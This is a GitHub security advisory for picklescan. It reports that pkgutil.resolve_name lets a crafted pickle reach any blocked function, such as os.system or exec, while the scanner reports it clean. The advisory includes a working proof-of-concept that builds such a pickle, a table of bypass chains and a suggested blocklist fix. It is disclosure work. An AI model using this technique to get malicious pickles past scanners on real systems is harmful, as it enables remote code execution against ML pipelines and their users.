GHSA-vvpj-8cmc-gx39

Suggest an improvement
Source
https://github.com/advisories/GHSA-vvpj-8cmc-gx39
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vvpj-8cmc-gx39/GHSA-vvpj-8cmc-gx39.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vvpj-8cmc-gx39
Published
2026-03-03T20:04:20Z
Modified
2026-03-04T15:17:31.588623Z
Severity
  • 10.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Details

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees: - STACK_GLOBAL with module=pkgutil, name=resolve_nameNOT in blocklist → CLEAN - The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORTBINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACKGLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

| Chain | Resolves To | Confirmed RCE | picklescan Result | |-------|------------|---------------|-------------------| | resolve_name("os:system") | os.system | YES | CLEAN | | resolve_name("builtins:exec") | builtins.exec | YES | CLEAN | | resolve_name("builtins:eval") | builtins.eval | YES | CLEAN | | resolve_name("subprocess:getoutput") | subprocess.getoutput | YES | CLEAN | | resolve_name("subprocess:getstatusoutput") | subprocess.getstatusoutput | YES | CLEAN | | resolve_name("subprocess:call") | subprocess.call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_call") | subprocess.check_call | YES (shell=True needed) | CLEAN | | resolve_name("subprocess:check_output") | subprocess.check_output | YES (shell=True needed) | CLEAN | | resolve_name("posix:system") | posix.system | YES | CLEAN | | resolve_name("cProfile:run") | cProfile.run | YES | CLEAN | | resolve_name("profile:run") | profile.run | YES | CLEAN | | resolve_name("pty:spawn") | pty.spawn | YES | CLEAN |

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals:

    "pkgutil": {"resolve_name"},
    
  2. Also block similar resolution functions:

    "importlib": "*",
    "importlib.util": "*",
    
  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

    • Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
    • Treating unknown globals as dangerous by default
    • Switching to an allowlist model
Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:04:20Z",
    "severity": "CRITICAL",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-183",
        "CWE-693"
    ]
}
References

Affected packages

PyPI / picklescan

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.0.4

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
1.*
1.0.0
1.0.1
1.0.2
1.0.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vvpj-8cmc-gx39/GHSA-vvpj-8cmc-gx39.json"